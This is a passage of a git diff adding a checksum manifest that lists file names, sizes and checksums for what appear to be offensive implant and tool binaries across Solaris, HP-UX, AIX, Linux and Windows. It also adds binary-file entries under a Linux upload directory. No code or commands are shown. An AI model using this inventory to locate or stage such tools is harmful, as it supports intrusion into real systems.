2737694146 34965 52570 + cursehappy_hpux_v.6.2.0.3_shakengiraffe.def 18166 99790464 01033 6875 + cursehappy_hpux_v.6.2.0.3_coastalvortex.def 8938 167200304 09899 56645 + cursehappy_hpux_v.6.2.0.3_sloshedgalah.def 16446 3469547707 13779 11769 + cursehappy_hpux_v.6.2.0.3_sloshedgalah_a.def 10537 193079961 23265 32065 + cursehappy_hpux_v.6.2.0.3_editionhaze.def 10246 1226832140 10864 23317 + cursehappy_hpux_v.6.2.0.3_silenttongues.def 11617 3525151714 49504 54819 + cursehappy_hpux_v.6.2.0.3_sicklestar.def 10605 2721198962 31219 41694 + cursehappy_hpux_v.6.2.0.3_serenecosmos.def 11539 2732026936 07027 52568 + cursehappy_hpux_v.6.2.0.3_diamondaxe.def 11075 938417711 18722 12486 + cursehappy_hpux_v.6.2.0.3_coastalstorm.def 8784 3730837173 30379 45631 + cursehappy_hpux_v.6.2.0.3_coastalburn.def 8783 3227423186 54047 45605 + cursehappy_hpux_v.6.2.0.3_darkaxe.def 16203 3385379118 33409 57151 + cursehappy_hpux_v.6.2.0.3_paperfish.def 12251 1972119393 21877 37985 + cursehappy_hpux_11.00_v.5.0.0.5_editionhaze.def 9648 1929737941 12712 42330 + cursehappy_hpux_11.00_v.5.0.0.5_silenttongues.def 11066 3139215691 40687 11543 + cursehappy_hpux_11.00_v.5.0.0.5_sicklestar.def 9913 4260235558 42103 54070 + cursehappy_hpux_11.00_v.5.0.0.5_liquidsteel.def 12013 1879295493 61077 20417 + cursehappy_hpux_11.00_v.5.0.0.5_serenecosmos.def 10987 1678640955 24246 9285 + cursehappy_hpux_11.00_v.5.0.0.5_wholeblue.def 12774 341296418 48222 11853 + cursehappy_hpux_11.00_v.5.0.0.5_serenefire.def 10987 1244429632 05060 9287 + cursehappy_hpux_11.00_v.5.0.0.5_diamondaxe.def 10691 2625290384 56021 47067 + cursehappy_hpux_11.00_v.5.0.0.5_coastalstorm.def 8186 3280967004 59011 64644 + cursehappy_hpux_11.00_v.5.0.0.5_coastalburn.def 8186 3855871972 49089 64627 + cursehappy_hpux_11.00_v.5.0.0.5_shakengiraffe.def 16993 2508929687 04187 50432 + cursehappy_hpux_11.00_v.5.0.0.5_darkaxe.def 14840 1834845399 09531 23752 + cursehappy_hpux_11.00_v.5.0.0.5_paperfish.def 11487 3074356543 49471 44174 + cursehappy-hpux11.11_v.4.1.2.4_silenttongues.def 11066 541471505 51498 11544 + cursehappy-hpux11.11_v.4.1.2.4_editionhaze.def 9648 4150856398 30645 42331 + cursehappy-hpux11.11_v.4.1.2.4_sicklestar.def 9913 3129343639 42448 54071 + cursehappy-hpux11.11_v.4.1.2.4_liquidsteel.def 12013 1012649203 34433 20418 + cursehappy-hpux11.11_v.4.1.2.4_serenecosmos.def 10987 1452568790 21762 9285 + cursehappy-hpux11.11_v.4.1.2.4_wholeblue.def 12774 2240385131 57114 11857 + cursehappy-hpux11.11_v.4.1.2.4_diamondaxe.def 11323 985772421 28395 30778 + cursehappy-hpux11.11_v.4.1.2.4_coastalstorm.def 8186 3316032623 06901 64642 + cursehappy-hpux11.11_v.4.1.2.4_shakengiraffe.def 16983 826384167 39992 49863 + cursehappy-hpux11.11_v.4.1.2.4_darkaxe.def 16198 2349942852 14351 64130 + cursehappy-solaris_v.4.1.0.6_solaris8_wholeblue.def 12803 1967258321 13344 13734 + cursehappy-solaris_v.4.1.0.6_solaris8_diamondaxe.def 11274 585588577 60600 27086 + cursehappy-solaris_v.4.0_editionhaze.def 10434 3554712859 32534 37466 + cursehappy-solaris_v.4.0_silenttongues.def 12144 264840104 54467 29109 + cursehappy-solaris_v.4.0_sicklestar.def 10205 3173803460 28487 10738 + cursehappy-solaris_v.4.0_liquidsteel.def 13829 840044669 02409 30364 + cursehappy-solaris_v.4.0_serenecosmos.def 12250 4094378744 49051 42334 + cursehappy-solaris_v.4.0_wholeblue.def 15088 1685878040 36262 59942 + cursehappy-solaris_v.4.0_shakengiraffe.def 19604 1586877344 42208 57145 + cursemagic_aix_v.2.1.0.3_editionhaze.def 19068 293137546 57086 11649 + cursemagic_aix_v.2.1.0.3_serenecosmos.def 19068 568891456 62123 11269 + cursemagic_aix_v.2.1.0.3_wholeblue.def 19068 2143614061 20591 13474 + cursemagic_aix_v.2.1.0.3_diamondaxe.def 19068 2243265220 55285 12135 + cursemagic_aix_v.2.1.0.3_vocalcottage.def 19068 1652436036 33716 8068 + cursemagic_aix_v.2.1.0.3_coastalburn.def 19068 4170399546 38287 9208 + cursemagic_aix_v.2.1.0.3_stirredgibbon.def 19068 3152820175 27007 6817 + cursemagic_aix_v.2.1.0.3_sloshedgalah.def 19068 3708590838 62213 12496 + cursemagic_aix_v.2.1.0.3_darkaxe.def 19068 3856168464 22746 12055 + cursemagic_aix_v.2.1.0.3_fiestarun.def 19068 1000292990 34572 8483 + cursemagic_aix_v.2.1.0.3_ironglass.def 19068 3919271234 64417 12120 + cursemagic_aix_v.2.1.0.3_paperfish.def 19068 2254027079 57731 12291 + cursemagic_hpux_v.2.0.1.1_editionhaze.def 18096 1849204005 28277 65264 + cursemagic_hpux_v.2.0.1.1_serenecosmos.def 18096 158638522 17915 443 + cursemagic_hpux_v.2.0.1.1_wholeblue.def 18096 1720191625 12684 61346 + cursemagic_hpux_v.2.0.1.1_diamondaxe.def 18096 952621241 60970 872 + cursemagic_hpux_v.2.0.1.1_vocalcottage.def 18096 1283902548 11029 64435 + cursemagic_hpux_v.2.0.1.1_stirredgibbon.def 18096 439533862 15579 61691 + cursemagic_hpux_v.2.0.1.1_coastalburn.def 18096 2421865852 12728 1553 + cursemagic_hpux_v.2.0.1.1_sloshedgalah.def 18096 2743407331 39159 883 + cursemagic_hpux_v.2.0.1.1_fiestarun.def 18096 3273295174 00154 844 + cursemagic_hpux_v.2.0.1.1_ironglass.def 18096 2057256634 09211 3267 + cursemagic_hpux_v.2.0.1.1_paperfish.def 18096 4252347543 62831 884 + cursezinger_solaris_v.2.0.0.2_serenemount.def 30756 3415555040 38083 15917 + cursezinger_solaris_v.2.0.0.2_sicklestar.def 30756 2345864788 54434 7191 + cursezinger_solaris_v.2.0.0.2_mossyoak.def 30756 2807106177 38851 15916 + cursezinger_solaris_v.2.0.0.2_spamjavelin.def 30756 1959233719 02824 40894 + cursezinger_solaris_v.2.0.0.2_sloshedgalah.def 30756 2279972886 20001 64735 + cursezinger_solaris_v.2.0.0.2_doublearsenal.def 30756 4090681982 54690 7192 + cursebingo.v2.0.0.3.sunos5.8_v.solaris 142932 225323094 50042 18422 + curseclash.v1.0.0.3.aix5.1.powerpc_v.superceded 189316 1333771125 32532 22177 + cursehole.v1.1.0.3.aix5.1_v.aix_51 92969 2417323214 09132 30252 + cursehole.v1.1.1.1.aix5.1_v.aix_51 97757 4012898249 57748 4964 + cursetingle_flx.v1.0.0.9.aix5.1.powerpc_v.superceded 251489 776515953 47413 27090 + cursehappy.v4.1.2.4.sunos5.8_v.4.1.2.4_solaris8 1523256 2933352913 27477 59239 + cursehole.v1.0.0.6.sunos5.9_v.solaris_9 49376 4126741311 00489 956 + cursehummer.hp-uxb.11.11_v.1.0.0.11 69632 1504796841 12511 29697 + curselion.aix.5.1_v.1.0.0.10 91289 1580474347 15532 54401 + curserazor.sunos5.10_v.1.1 37208 2992845755 52693 65440 + curseroot.v1.1.0.3.sunos5.8_v.1.1.0.3_solaris8 60792 44987521 37761 31907 + curseroot.v1.1.0.3.sunos5.9_v.1.1.0.3_solaris9 66144 1404334531 27434 55095 + dampcrowd.i686-pc-linux-gnu-redhat-5.0_v.2.0.0.1 3220 3904151856 62383 39500 + dampcrowd.sparc-sun-solaris2.5.1_v.2.0.0.1 4632 60192895 59397 48457 + dampcrowd.i386-pc-solaris2.6_v.2.0.0.1 3736 1794953451 29366 9004 + dampcrowd.powerpc-aix3.4_v.2.0.0.2 3143 2059792591 31598 9012 + dampcrowd.pa-risc1.1_v.2.0.1.1 16384 2584211350 23463 27354 + deepfryer.php_v.2.1.0.1 9362 3742765313 06565 37747 + enemyrun.hp-uxb.11.00_v.2.3.1.3 81920 3474769018 58047 45631 + enemyrun.sunos5.8_v.2.3.1.3 76288 112800950 29544 11553 + enemyrun.hp-uxb.11.11_v.2.3.2.2 86016 3855243332 38339 35954 + enemyrun.sunos5.10_v.3.0.0.1 102140 195662001 23056 63902 + enemyrun.hp-uxb.11.00_v.3.0.0.1 98304 4135520224 05301 12010 + enemyrun.sunos5.8_v.3.0.0.1 102124 4239123439 62495 10807 + enemyrun.sunos5.9_v.3.0.0.1 102348 1306510493 45542 30066 + enemyrun.hp-uxb.11.11_v.3.0.0.1 98304 1925453674 12376 39549 + enemyrun.linux2.4.21-37.elsmp_v.3.1.1.4 96128 1495089507 56908 35756 + enemyrun.sunos5.8_v.3.1.1.4 125732 2964449093 50280 48621 + enemyrun.hp-uxb.11.00_v.3.1.1.4 122880 1359899754 37580 50950 + enemyrun.linuxrhl7.3.i686_v.3.2.0.1 100748 548764427 37332 52 + enemyrun.sunos5.8.sparc_v.3.2.0.1 125932 4199346901 57697 23066 + enemyrun.sunos5.8.i386_v.3.2.0.1 103480 467581597 57683 59336 + enemyrun.linuxrhe3.6.i686_v.3.2.0.1 96000 3987012891 14191 19704 + enemyrun.hpux11.00.parisc_v.3.2.0.1 122880 1298342391 62423 31099 + enemyrun.sunos5.8_v.4.0.0.5 247300 3177778343 13495 26331 + enemyrun.hpux11.00_v.4.0.0.5 262144 1926578269 09648 63946 + enemyrun.linuxrhe3.6_v.4.0.0.5 187440 3094616716 62935 33784 + enemyrun.sunos5.8.i386_v.4.0.0.5 248056 3974196642 48504 10837 + enemyrun.linuxrh7.3_v.4.0.0.5 191268 4200784184 11041 52133 + enemyrun.hpux11.00_v.4.0.1.2 266240 3996943980 63730 37023 + enemyrun.linuxrhe3.6_v.4.0.1.2 191884 2727046206 21612 17426 + enemyrun.sunos5.8.i386_v.4.0.1.2 251508 1617290894 42605 46413 + enemyrun.linuxrh7.3_v.4.0.1.2 195992 1526794153 18101 17592 + enemyrun.sunos5.8_v.4.0.1.2 253140 813274482 19935 16838 + enemyrun.linux2.4.21-37.elsmp_v.3.1.0.2 89824 1008510950 30150 54370 + enemyrun.rhl7.3_v.3.1.1.5 100524 2799309865 04067 47832 + enemyrun.hp-uxb.11.00_v.2.0 81920 1895622567 12109 27126 + enemyrun.sunos5.8_v.2.0 72464 1892367427 31269 56046 + enemyrun.sunos5.9_v.2.0 72728 546621835 46772 12395 + enemyrun.hp-uxb.11.11_v.2.0 81920 2449355597 24282 63011 + enemyrun.sunos5.8_v.2.2 74820 823082180 17934 24756 + enemyrun.v2.3.2.2.hp-uxb.11.00_v.2.3.2.2_hp-ux_11.0 90112 459051398 47042 63683 + enemyrun.v2.3.2.2.sunos5.10_v.2.3.2.2_solaris_10 79908 3451483656 42697 60572 + enemyrun.v2.3.2.2.sunos5.8_v.2.3.2.2_solaris_8 79852 1069599440 28661 57815 + enemyrun.v2.3.2.2.sunos5.9_v.2.3.2.2_solaris_9 80076 1194779291 50548 11512 + enemyrun.sunos5.8_v.2.3 74988 668917919 63533 23729 + orleans_stride.aix5.1_v.2.4.0.2 90415 3261507141 12047 6902 + orleans_stride.sunos5.8_v.2.4.0.2 57004 2400511526 36957 11303 + orleans_stride.sunos5.9_v.2.4.0.2 57296 2368896150 06460 36431 + orleans_stride.sunos5.8_v.2.5.0.2 61488 3855523192 48044 17376 + orleans_stride.aix5.1_v.2.5.0.2 100209 2743678155 53364 41505 + orleans_stride.sunos5.8_v.3.0.0.1 152180 2373394418 09231 1899 + orleans_stride.aix5.1_v.3.0.0.1 191057 2741854458 33921 13751 + orleans_stride.sunos5.8_v.3.1.0.1 172804 1365017728 52246 45641 + orleans_stride.aix5.1_v.3.1.0.1 214661 2767675038 39448 47734 + orleans_stride.sunos5.8_v.2.5.2.7 71288 2487439107 21537 14698 + orleans_stride.aix5.1_v.2.5.2.7 109013 4171261320 28337 20504 + orleans_stride.sunos5.8_v.2.5.1.9 66656 2265926621 34276 6908 + orleans_stride.aix5.1_v.2.5.1.9 105285 3794444431 53017 48496 + orleans_tride.sunos5.8_v.2.0 38312 2666598478 27891 14024 + orleans_tride_v2.2_aix5.1_v.2.2 81971 2383423910 41269 60017 + orleans_stride.0.0.sunos5.8_v.2.3 50756 1895700473 25122 44666 + sift.linux_v.2.0.1.1 180340 1242274982 15433 4920 + sift.solaris.x86_v.2.0.1.1 160560 3699147297 46604 53831 + sift.solaris.sparc_v.2.0.1.1 176460 7510671 07413 21395 + sift_-freebsd_5.0-i386_v.2.1.0.0 131945 3232867918 64957 17254 + sift_-freebsd_6.0-i386_v.2.1.0.0 134505 1202892760 56779 35024 + sift_-freebsd_7.0-i386_v.2.1.0.0 134249 753372013 52320 22685 + sift_-linux-i386_v.2.1.0.0 148373 1474261045 08203 54880 + sift_-solaris_2.7-sparc_v.2.1.0.0 142744 2327337718 07123 64245 + sift_-freebsd_7.0-x86_64_v.2.1.0.0 166545 461345343 39095 62942 + sift_-solaris_2.8-i386_v.2.1.0.0 148568 2809700053 54275 43774 + sift_-linux-x86_64_v.2.1.0.0 171313 3221542206 20315 15784 + skimcountry.sunos5.8_v.2.0.0.3 149916 1621673867 56926 19684 + skimcountry.aix5.1_v.2.0.0.3 203776 3254804545 10599 32810 + skimcountry__flx.aix5.1.powerpc_v.1.0.0.4 270833 591709200 28185 10148 + skimcountry__flx.aix5.1.powerpc_v.1.0.1.1 276901 515577067 26565 39849 + skimcountry.sunos5.9_v.1.2 67224 1523123911 39003 62169 + skimcountry.v1.3.0.2.sunos5.8_v.1.3.0.2_solaris_8 57640 1678541867 43873 32216 + skimcountry.v1.3.0.2.sunos5.9_v.1.3.0.2_solaris_9 57864 1509708895 42860 51185 + skimcountry.sunos5.8_v.1.4.0.10 64860 1079665595 20385 21070 + skimcountry.aix5.1_v.1.4.0.10 104337 2161640150 52999 25524 + watcher.x86.linux_v.2.5.0.1 104672 3111397216 53579 55992 + watcher.solaris.sparc_v.2.5.0.1 120568 971863888 44784 46401 + watcher.i386-linux_v.2.6.0.1 192200 1076630491 60708 18102 + watcher.sparc-sun-solaris2.6_v.2.6.0.1 207312 2415279614 45058 38210 + watcher.sparc-sun-solaris2.6_v.2.6.1.1 207384 857504225 56198 8566 + watcher.i386-linux_v.2.6.1.1 181652 2024342350 51495 50424 + watcher.x86-solaris_v.2.7.0.0 183104 212834410 20162 59905 + watcher.sparc-solaris_v.2.7.0.0 181432 539214264 54017 52203 + watcher.x86-linux_v.2.7.0.0 27464 1148853217 18795 18553 + watcher-2.7.1.0-solaris-i386_v.2.7.1.0 177009 3909456023 10008 46350 + watcher-2.7.1.0-linux-i386_v.2.7.1.0 196853 1959993309 13481 18785 + store_v.2.7.1.0 20408 3840550843 26985 14959 + watcher-2.7.1.0-solaris-sparc_v.2.7.1.0 189924 3276194765 00740 62364 + watcher-3.0.0.1-solaris-sparc_v.3.0.0.1 233684 1693570961 29770 49373 + watcher-3.0.0.1-solaris-i386_v.3.0.0.1 215089 743185867 32352 39750 + store_v.3.0.0.1 18761 3619753665 12486 36058 + watcher-3.0.0.1-linux-i386_v.3.0.0.1 234261 1527079268 45157 6957 + store-linux-i386_v.3.1.0.1 19081 3448365223 22537 58243 + watcher-linux-i386_v.3.1.0.1 239541 225557987 43585 48399 + watcher-linux-x86_64_v.3.1.0.1 283993 1434499381 64004 20087 + watcher-solaris-sparc_v.3.1.0.1 238012 1235764597 22839 35561 + watcher-solaris-i386_v.3.1.0.1 239921 3180531025 61338 48037 + store-linux-i386_v.3.1.1.2 19081 4046454450 57236 58067 + watcher-linux-i386_v.3.1.1.2 240245 4137883497 27567 61892 + watcher-linux-x86_64_v.3.1.1.2 283993 445808546 45899 51305 + watcher-solaris-sparc_v.3.1.1.2 238700 3123728883 65114 59049 + watcher-solaris-i386_v.3.1.1.2 240689 1896067598 54991 52090 + store-linux-i386_v.3.2.0.1 19081 3859061399 26804 57751 + watcher-linux-i386_v.3.2.0.1 247221 1290560138 55884 54861 + watcher-linux-x86_64_v.3.2.0.1 292185 1865728922 45347 41273 + watcher-solaris-sparc_v.3.2.0.1 245364 345828695 56969 15267 + watcher-solaris-i386_v.3.2.0.1 247889 1993261621 24880 16141 +# FILE SIZE cksum sum solarissum + charm_hammer.linuxrh7.3.i686_v.1.0.0.3 133776 2112957847 37260 46614 + charm_penguin.sunos5.8_v.2.0.1.4 140388 2381583960 15166 50862 + charm_razor.win2k_v.2.0.0.1 128000 1451219500 24792 37268 + charm_razor.linux2.6.5-7.97-smp.i686_v.2.1.0.2 149160 2517413002 11127 39535 + charm_saver.hpux11.00_v.2.0.0.2 135168 2809723314 33326 33264 + charm_saver.win2k_v.2.0.0.2 129024 4072671704 43512 9330 + crypttool.sunos5.8.sparc_v.2.0.1.3 103752 2298364610 45700 50799 + crypttool.linux2.4.18-3_v.2.0.1.3 75628 3045942630 25490 52712 + crypttool.sunos5.8.i386_v.2.0.1.3 116496 910318730 48259 1425 + crypttool.win2k_v.2.0.1.3 100352 3256855359 19983 12213 + crypttool.hpuxb.11.00_v.2.0.1.3 126976 1116022089 17484 16599 + crypttool.aix5.1_v.2.0.1.3 111281 66028508 58618 45955 + crypttool.sunos5.8.sparc_v.2.1.0.2 143972 317161976 64363 29575 + crypttool.linux2.4.18-3_v.2.1.0.2 99628 248651161 20216 28548 + crypttool.sunos5.8.i386_v.2.1.0.2 141488 2728244747 28365 57852 + crypttool.win2k_v.2.1.0.2 128512 3143510205 50682 36598 + crypttool.hpuxb.11.00_v.2.1.0.2 151552 2602907135 58110 1617 + crypttool.aix5.1_v.2.1.0.2 148961 3152687348 64177 18932 + cursebongo.sunos5.8_v.2.0.0.1 139348 3981776761 62992 62647 + curseclash.aix5.1.powerpc_v.1.0.1.1 189204 1247555263 03253 9434 + curseclash_flx.sunos5.8.sparc_v.1.0.0.3 268404 3549940038 43413 38925 + curseclash_flx.aix5.1.powerpc_v.1.0.0.3 338539 3544150145 42455 49546 + cursedevo.sunos5.8_v.1.0.0.3 149932 3585726772 28443 50325 + cursefire.linuxrh7.3.i686_v.1.1.0.2 154544 1039750187 59895 54814 + cursefire.sunos5.8.sparc_v.1.0.0.3 158600 2558715541 41015 33900 + curseflower.mswin32_v.1.0.0.3 90112 1985062419 18896 47647 + cursegismo.sunos5.8.sparc_v.2.2.0.2 201916 1968491981 55322 4496 + cursegismo.sunos5.8.i386_v.2.2.0.2 193260 824071257 32241 38052 + cursegismo.linuxrh7.3.i686_v.2.2.0.2 148776 3858703513 43819 49461 + cursegismo.linuxrh7.3_v.2.0.0.2 121624 3039175349 38874 23207 + cursegismo.sunos5.8_v.2.0.0.2 166508 3650214234 13976 40359 + cursegismo.hpuxb.11.00_v.2.0.0.2 151552 2404513618 64926 21918 + cursegismo.sunos5.8.i386_v.2.1.0.1 160936 3497525570 10444 5600 + cursegismo.linuxrh7.3_v.2.1.0.1 121548 3715354245 20944 37150 + cursegismo.sunos5.8_v.2.1.0.1 172596 2401859147 26922 52333 + cursegismo.hpux11.00_v.2.1.0.1 155648 1048643453 28701 2274 + cursegismo.sunos5.8.i386_v.2.0.0.5 155060 1476936287 40325 51145 + cursehappy.win2k_v.6.0.0.1 80896 902732025 34814 8351 + cursehappy.rhl7.3_v.6.0.0.1 118872 3335983393 64569 52778 + cursehappy.hp-uxb.11.00_v.6.0.0.1 151552 3404938804 10577 57918 + cursehappy.sunos5.8_v.6.0.0.1 152252 3035988714 25161 22509 + cursehappy.sunos5.8_v.6.1.0.1 161564 4281879084 25472 34846 + cursehappy.hpux11.00_v.6.1.0.1 159744 1992944929 44034 28301 + cursehappy.win2k_v.6.1.0.1 150528 1910129873 23158 58895 + cursehappy.linuxrh7.3_v.6.1.0.1 123184 2161229410 48141 9448 + cursehappy.linuxrh7.3.unknown_v.6.2.0.3 155836 1950211397 07726 51556 + cursehappy.hpux11.00.risc_v.6.2.0.3 176128 3806395765 02724 44677 + cursehappy.win2k.i686_v.6.2.0.3 170496 1183909897 02339 3052 + cursehappy.sunos5.8.sparc_v.6.2.0.3 180936 51457078 37748 44755 + cursehelper.win2k_v.2.1.0.2 142336 933130206 24878 64656 + cursehelper.sunos5.8_v.2.1.0.2 152004 3750919642 34972 55494 + cursehelper.hpux11.00_v.2.1.0.2 147456 481961459 06585 60105 + cursehelper.aix5.1_v.2.1.0.2 191061 973745972 00104 51956 + cursehelper.win2k.i686_v.2.2.0.4 162816 2787389769 05516 6932 + cursehelper.sunos5.8.sparc_v.2.2.0.4 190188 2633929931 02930 36911 + cursehelper.aix5.1.powerpc_v.2.2.0.4 193597 4012475820 56804 59547 + cursehelper.hpux11.00.risc_v.2.2.0.4 208896 800678791 45188 11595 + cursehelper.linuxrh7.3.i686_v.2.2.1.1 175868 475785651 46886 24066 + cursehelper.sunos5.8.i386_v.2.2.0.4 195336 1988946024 45737 41283 + cursehole_flx.aix5.1.powerpc_v.1.0.0.4 377371 2681554099 37509 63719 + cursehole_flx.sunos5.8.sparc_v.1.0.0.3 299096 4141793404 37558 55633 + cursekettle.hpux11.00.risc_v.1.1.0.2 176128 2364719211 16877 26818 + cursekiln.sunos5.8_v.1.0.0.2 176404 2350204552 27241 29410 + cursekiln.sunos5.8_v.1.0.1.3 176692 4029566111 43116 8599 + cursemagic.linuxrh7.3_v.2.0.0.1 113432 167693029 55807 14486 + cursemagic.solaris5.8_v.2.0.0.1 140624 1690841195 12267 19685 + cursemagic.solaris5.8_v.2.0.1.1 140248 1248938891 58383 16679 + cursemagic.linuxrh7.3_v.2.0.1.1 113432 3153799582 01885 22339 + cursemagic.hpux11.00_v.2.0.1.1 139264 1919573794 54402 9001 + cursemagic.aix5.1_v.2.0.1.1 198300 2876776973 04202 14685 + cursemagic.aix5.1_v.2.1.0.3 224264 2892482690 20212 56702 + cursemagic.linuxrh7.3_v.2.1.0.3 146812 3739978016 60850 60509 + cursemagic.sunos5.8_v.2.1.0.3 167836 598611910 30306 20384 + cursemagic.hpux11.00_v.2.1.0.3 163840 2684793360 63580 63601 + cursenag.sunos5.8_v.1.0.0.1 148824 4216236752 48499 25454 + cursequake.sunos5.8_v.1.0.0.2 138728 2219816470 53554 24668 + cursequake.sunos5.8_v.1.1.0.4 151108 706987852 08863 21242 + curserazor.win2k_v.2.0.0.5 142336 3614550981 32141 38186 + curserazor.sunos5.8_v.2.0.0.5 151712 266392035 36062 20560 + curserazor.win2k_v.2.0.1.1 145920 3665025734 52447 19736 + curserazor.sunos5.8_v.2.0.1.1 156956 2913942188 43306 37613 + curseroot_flx.hpux11.00.risc_v.1.1.0.3 294912 1121890451 23116 52861 + curseroot.hpuxb.11.00_v.2.0.0.3 143360 3733355325 60984 39977 + cursetails.aix5.1_v.1.0.0.1 180276 4044734128 31290 58204 + cursetingle.aix.5.1_v.1.1.1.1 99925 2516963645 50006 1948 + cursetingle.mswin32_v.2.0.0.1 98304 3746339119 48113 52565 + cursesalsa.hpux11.00.risc_v.1.0.0.1 180224 3477337387 60490 57830 + cursetingle.sunos5.8_v.2.0.0.1 137132 1479052110 35756 44597 + cursetingle.aix.5.1_v.2.0.0.1 180813 2891705692 59684 10363 + cursetingle.aix5.1_v.2.0.1.1 184593 3105856638 26898 26451 + cursetingle_flx.aix5.1.powerpc_v.1.0.1.3 259141 2828128604 39262 42960 + cursetingle.2.0.1.2.mswin32_v.2.0.1.1 98304 1876770440 20050 12575 + cursetingle.sunos5.8_v.2.0.1.1 142392 3826035928 56373 14520 + cursetingle.sunos.5.9_v.1.0.0.7 55444 986565815 56621 50199 + cursetingle.mswin32_v.1.0.0.7 81920 467686355 09311 12178 + cursewham.linuxrh7.3.i686_v.1.1.0.1 129648 4052230338 51775 33743 + cursewham.win2k.i686_v.1.1.0.1 136192 2405279675 50768 26522 + cursewham.win2k.i686_v.1.0.0.3 135168 3859843989 24516 31571 + cursezinger_flx.win2k.i686_v.1.0.0.2 262656 3131462353 37427 20791 + cursezinger.win2k_v.2.0.0.2 155648 1139756440 63461 7620 + cursezinger.linuxrh7.3_v.2.0.0.2 146512 23087955 55272 41261 + cursezinger.sunos5.8_v.2.0.0.2 167028 845090707 25277 38441 + cursezinger.linuxrh7.3_v.1.0.0.1 125880 4253402431 45933 16844 + cursezinger.win2k_v.1.0.0.1 139264 2191543083 27871 51316 + cursezinger.win2k_v.1.1.0.3 138240 2382619163 09901 381 + cursezinger.linuxrh7.3_v.1.1.0.3 117272 756885449 58885 62504 + cursezinger.win2k_v.1.2.0.1 142336 545843415 57530 59663 + cursezinger.win2k_v.1.2.1.1 142848 2300782138 03792 58131 + cursezinger.linuxrh7.3_v.1.2.1.1 117272 991474873 07665 52134 + cursehappy-solaris_v.4.1.0.6_solaris8_editionhaze.def 9648 4150856398 30645 42331 +cursehappy-solaris_v.4.1.0.6_solaris8_silenttongues.def 11066 541471505 51498 11544 + cursehappy-solaris_v.4.1.0.6_solaris8_sicklestar.def 9913 3129343639 42448 54071 + cursehappy-solaris_v.4.1.0.6_solaris8_liquidsteel.def 12013 1012649203 34433 20418 + cursehappy-solaris_v.4.1.0.6_solaris8_serenecosmos.def 10987 1452568790 21762 9285 + cursehappy-solaris_v.4.1.0.6_solaris8_wholeblue.def 12803 1967258321 13344 13734 + cursehappy-solaris_v.4.1.0.6_solaris8_diamondaxe.def 11274 585588577 60600 27086 +cursehappy-solaris_v.4.1.0.6_solaris8_shakengiraffe.def 16983 826384167 39992 49863 + cursehappy-solaris_v.4.0_editionhaze.def 10434 3554712859 32534 37466 + cursehappy-solaris_v.4.0_silenttongues.def 12144 264840104 54467 29109 + cursehappy-solaris_v.4.0_sicklestar.def 10205 3173803460 28487 10738 + cursehappy-solaris_v.4.0_liquidsteel.def 13829 840044669 02409 30364 + cursehappy-solaris_v.4.0_serenecosmos.def 12250 4094378744 49051 42334 + cursehappy-solaris_v.4.0_wholeblue.def 15088 1685878040 36262 59942 + cursehappy-solaris_v.4.0_shakengiraffe.def 19604 1586877344 42208 57145 + curseclash.v1.0.0.3.aix5.1.powerpc_v.superceded 189316 1333771125 32532 22177 + cursetingle_flx.v1.0.0.9.aix5.1.powerpc_v.superceded 251489 776515953 47413 27090 + cursehappy.v4.1.2.4.sunos5.8_v.4.1.2.4_solaris8 1523256 2933352913 27477 59239 + curseroot.aix5.1_v.2.0.0.3.00000 206940 4220672519 01458 41704 + curseroot.win2k_v.2.0.0.3.00000 83968 3199238746 00188 16711 + curseroot.aix5.1.powerpc_v.2.2.0.7.00001 186520 4003638340 58818 34225 + curseroot.hpux11.00.risc_v.2.2.0.7.00001 200704 2946922064 06310 57635 + curseroot.win2k.i686_v.2.2.0.7.00001 157184 669967646 13502 29530 + curseroot.linux2.6.5-7.97-smp.i686_v.2.2.0.7.00000 156708 2625294666 57226 32834 + curseroot.sunos5.8.sparc_v.2.2.0.7.00000 180296 3651556126 24857 35687 + curseroot.linux2.6.5-7.97-smp_v.2.0.0.3.00000 139368 2738524079 30084 17788 + curseroot.sunos5.8_v.2.0.0.3.00000 156004 1488178427 29645 44513 + enemyrun.sunos5.8_v.4.0.0.5 247300 3177778343 13495 26331 + enemyrun.hpux11.00_v.4.0.0.5 262144 1926578269 09648 63946 + enemyrun.linuxrhe3.6_v.4.0.0.5 187440 3094616716 62935 33784 + enemyrun.sunos5.8.i386_v.4.0.0.5 248056 3974196642 48504 10837 + enemyrun.linuxrh7.3_v.4.0.0.5 191268 4200784184 11041 52133 + enemyrun.hpux11.00_v.4.0.1.2 266240 3996943980 63730 37023 + enemyrun.linuxrhe3.6_v.4.0.1.2 191884 2727046206 21612 17426 + enemyrun.sunos5.8.i386_v.4.0.1.2 251508 1617290894 42605 46413 + enemyrun.linuxrh7.3_v.4.0.1.2 195992 1526794153 18101 17592 + enemyrun.sunos5.8_v.4.0.1.2 253140 813274482 19935 16838 + skimcountry.sunos5.8_v.2.0.0.3 149916 1621673867 56926 19684 + skimcountry.aix5.1_v.2.0.0.3 203776 3254804545 10599 32810 + skimcountry__flx.aix5.1.powerpc_v.1.0.0.4 270833 591709200 28185 10148 + skimcountry__flx.aix5.1.powerpc_v.1.0.1.1 276901 515577067 26565 39849 + store-linux-i386_v.3.1.1.2 19081 4046454450 57236 58067 + watcher-linux-i386_v.3.1.1.2 240245 4137883497 27567 61892 + watcher-linux-x86_64_v.3.1.1.2 283993 445808546 45899 51305 + watcher-solaris-sparc_v.3.1.1.2 238700 3123728883 65114 59049 + watcher-solaris-i386_v.3.1.1.2 240689 1896067598 54991 52090 + store-linux-i386_v.3.2.0.1 19081 3859061399 26804 57751 + watcher-linux-i386_v.3.2.0.1 247221 1290560138 55884 54861 + watcher-linux-x86_64_v.3.2.0.1 292185 1865728922 45347 41273 + watcher-solaris-sparc_v.3.2.0.1 245364 345828695 56969 15267 + watcher-solaris-i386_v.3.2.0.1 247889 1993261621 24880 16141 + store-linux-i386_v.3.3.0.1 19081 2404995396 06163 58327 + watcher-linux-i386_v.3.3.0.1 254581 3229610433 00846 7940 + watcher-linux-x86_64_v.3.3.0.1 304729 3900419060 40597 17151 + watcher-solaris-sparc_v.3.3.0.1 246796 3831178132 20083 7168 + watcher-solaris-i386_v.3.3.0.1 249329 45734773 04632 57529 diff --git a/Linux/up/traceroute b/Linux/up/traceroute new file mode 100755 index 0000000..069d55b Binary files /dev/null and b/Linux/up/traceroute differ diff --git a/Linux/up/traitoraghast b/Linux/up/traitoraghast new file mode 100755 index 0000000..03f9870 Binary files /dev/null and b/Linux/up/traitoraghast differ diff --git a/Linux/up/watcher.tar.bz2 b/Linux/up/watcher.tar.bz2 new file mode 100644 index 0000000..c1801c6 Binary files /dev/null and b/Linux/up/watcher.tar.bz2 differ diff --git a/Linux/up/watchmove.sh 